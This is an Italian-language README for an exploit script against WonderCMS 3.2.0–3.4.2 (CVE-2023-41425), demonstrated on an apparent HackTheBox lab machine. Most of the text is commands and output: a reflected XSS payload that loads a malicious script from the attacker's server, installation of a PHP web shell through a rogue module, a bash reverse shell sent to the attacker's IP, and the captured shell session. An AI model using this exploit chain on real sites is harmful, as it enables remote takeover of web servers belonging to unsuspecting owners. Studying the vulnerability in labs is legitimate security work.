
WonderCMS v3.2.0 - v3.4.2 exploit da XSS a RCE
CVE-2023-41425 è una vulnerabilità XSS riflessa in Wonder CMS che consente inoltre di eseguire codice arbitrario tramite uno script dannoso attraverso il componente installModule.
Eseguendo l'exploit contro l'loginURL del target, specificando il nostro IP e la porta per il web server che ospita il file .js dannoso:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
Invia il payload XSS alla vittima. Una volta che la vittima apre il link, il .js verrà richiesto al web server avviato sopra. Il .js scaricherà quindi il modulo .zip dannoso contenente una semplice web shell PHP.
Una volta richiesto il .zip, dovrebbe essere stato installato tramite installModule e può essere raggiunto tramite il link fornito dallo script.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Configura prima il listener, poi esegui un comando qualsiasi per stabilire una connessione reverse shell. Lo script fornisce un esempio per farlo (Linux).
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
E ottieni la connessione sul listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$
Installa i requisiti:
pip install -r requirements.txt
Aiuto:
$ python3 exploit.py --help
usage: exploit.py [-h] --url URL --xip XIP --xport XPORT
Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)
Initial CVE and proof-of-concept by prodigiousMind
Rewritten by xpltive
options:
-h, --help show this help message and exit
--url URL Target URL of loginURL (Example: http://sea.htb/loginURL)
--xip XIP IP for HTTP web server that hosts the malicious .js file
--xport XPORT Port for HTTP web server that hosts the malicious .js file
Crediti a prodigiousMind per aver scoperto e segnalato la vulnerabilità (Link).